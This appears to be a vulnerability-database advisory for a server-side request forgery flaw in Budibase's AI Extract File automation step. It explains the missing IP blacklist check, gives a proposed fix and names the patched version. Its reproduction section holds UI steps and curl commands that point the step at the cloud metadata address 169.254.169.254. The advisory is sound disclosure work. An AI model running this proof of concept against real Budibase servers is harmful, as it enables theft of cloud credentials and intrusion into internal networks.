VDB
Sign up
HIGH7.7

GHSA-rpj4-7x2v-wjrf

Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation

Quick fix

GHSA-rpj4-7x2v-wjrf — @budibase/server: upgrade to the fixed version with the command below.

npm install @budibase/server@3.34.8

Details

## Vulnerability Details

**CWE-918**: Server-Side Request Forgery (SSRF)

The `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly **without the IP blacklist validation** that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.

### Vulnerable Code

**`packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139)**:

```typescript async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> { const response = await fetch(fileUrl) // NO blacklist check! // ... const fallbackResponse = await fetch(fileUrl) // Also NO blacklist check! } ```

### Contrast with All Other Automation Steps (Same Codebase)

Every other automation step that makes outbound HTTP requests properly uses `fetchWithBlacklist`:

- `steps/slack.ts:19`: `response = await fetchWithBlacklist(url, {...})` - `steps/discord.ts:28`: `response = await fetchWithBlacklist(url, {...})` - `steps/zapier.ts:33`: `response = await fetchWithBlacklist(url, {...})` - `steps/n8n.ts:53`: `response = await fetchWithBlacklist(url, request)` - `steps/outgoingWebhook.ts`: `response = await fetchWithBlacklist(url, {...})` - `steps/make.ts`: `response = await fetchWithBlacklist(url, {...})`

The `fetchWithBlacklist` function (`steps/utils.ts:100`) validates URLs against the IP blacklist which blocks: - `127.0.0.0/8` (loopback) - `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC1918 private) - `169.254.0.0/16` (link-local / cloud metadata) - IPv6 private addresses

The AI Extract File step bypasses all of these protections.

## Steps to Reproduce

### Via Budibase UI

1. Login as builder user 2. Create or open any app 3. Go to **Automations** > **New Automation** 4. Add trigger: **App Action** 5. Add step: **AI > Extract File Data** 6. Set Source: `URL` 7. Set File URL: `http://169.254.169.254/latest/meta-data/` (or any internal IP) 8. Click **Run Test** — the server makes the request without IP blacklist validation

### Via curl (API)

```bash # 1. Login and get session cookie curl -s -c /tmp/bb.txt \ "http://BUDIBASE_HOST/api/global/auth/default/login" \ -X POST -H "Content-Type: application/json" \ -d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'

# 2. Create automation with SSRF payload (replace YOUR_APP_ID) curl -s -b /tmp/bb.txt \ "http://BUDIBASE_HOST/api/automations" \ -X POST -H "Content-Type: application/json" \ -H "x-budibase-app-id: YOUR_APP_ID" \ -d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}' ```

### Code Review Verification

Compare the vulnerable function with the safe pattern used everywhere else:

``` VULNERABLE (no blacklist): packages/server/src/automations/steps/ai/extract.ts:116 const response = await fetch(fileUrl)

SAFE (with blacklist) - every other step: packages/server/src/automations/steps/slack.ts:19 response = await fetchWithBlacklist(url, {...}) packages/server/src/automations/steps/discord.ts:28 response = await fetchWithBlacklist(url, {...}) ```

### Expected vs Actual Behavior

**Expected**: `processUrlFile()` should reject internal/private IPs via `fetchWithBlacklist()` **Actual**: `fetch(fileUrl)` is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.

## Impact

An authenticated user with builder permissions can:

- **Access cloud metadata endpoints** (AWS IAM credentials, GCP service tokens, Azure IMDS) - **Scan internal network** services and ports - **Access internal APIs** not intended for external access - **Exfiltrate data** from internal services via the automation response

In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.

## Proposed Fix

Replace `fetch(fileUrl)` with `fetchWithBlacklist(fileUrl)`, consistent with all other automation steps:

```typescript import { fetchWithBlacklist } from "../utils"

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> { const response = await fetchWithBlacklist(fileUrl) // Use blacklist // ... const fallbackResponse = await fetchWithBlacklist(fileUrl) // Use blacklist } ```

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/@budibase/server
Introduced in: 0Fixed in: 3.34.8
Fixnpm install @budibase/server@3.34.8

References